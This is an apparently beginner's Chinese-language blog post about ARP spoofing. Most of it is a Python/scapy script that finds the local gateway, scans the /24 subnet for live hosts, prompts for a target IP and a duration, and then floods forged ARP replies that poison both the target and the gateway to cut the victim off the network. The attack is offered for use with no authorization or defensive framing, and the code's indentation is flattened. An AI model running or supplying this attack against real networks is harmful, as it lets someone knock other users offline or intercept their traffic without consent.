@ARP攻击初探
第一步思路
1.攻击指定的IP实现断网——ARP
2.原理:通过扫描当前攻击机的IP地址,得到内网的所有IP所在网关
3.组成ARP数据包,对网关内的主机先发起ping,寻找到存活的主机
4.获得存活主机列表,选择需要攻击的ip,发起攻击
步骤
- 获得当前的IP及网关route print
- 封装ARP数据包,以太网的包结构形式来发起ping,得到存活主机列表
- 得到存活主机列表
- 选择需要攻击或阻网IP
- ARP攻击(封包/发包)—》代理,抓包
- 设置攻击时常
具体实现代码如下
import os
import time
from scapy.all import *
pip install scapy
def scan2spoof():
netcard = 'Realtek Gaming GbE Family Controller'#攻击使用的网卡
cmdcode = 'route print'
# 执行CMD命令获得当前主机IP和网关
for line in os.popen(cmdcode):
# 通过line获得IPv4和网关
s = line.strip()
if s.startswith('0.0.0.0'):
iplist = s.split()
ip = iplist[3]#当前IP
gw = iplist[2]#网关
# print(ip)
# print(gw)
break
print("使用的网卡是:{}".format(netcard))
print("本机的上网IP:{}".format(ip))
print("本机的上网网关:{}".format(gw))
# 封装一个ARP的数据包,符合以太网的包定义
arppk = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw+"/24")
ansip,unansip = srp(arppk,iface=netcard,timeout=2,verbose=0)
print("扫描到{}台在线主机".format(len(ansip)))
print("扫描到{}台不在线主机".format(len(unansip)))
ansresip = []
for s,r in ansip:
ansresip.append([r.psrc,r.hwsrc])#ip,mac
ansresip.sort()#去重排序
for ip,mac in ansresip:
print(ip,"------->",mac)
#代理/抓包
# 阻断网络
vip = input("请输入需要攻击的IP:")
ttl = int(input("请输入需要攻击的时间(秒):"))#一般测试观察用的话设置20秒左右
# 以下实现arp攻击即可
for i in range(ttl*5):
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vip,psrc=gw),verbose=0)
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw,psrc=vip),verbose=0)
time.sleep(0.2)
print("对{}的ARP攻击完成".format(vip))
if __name__ == '__main__':
scan2spoof()
插入链接与图片
作者博客: buzhimingderen.
最后
我是一名小白,刚刚接触安全领域,我尽量坚持在以后的日子里,每周坚持发2-5篇博客。只是以此来激励自己。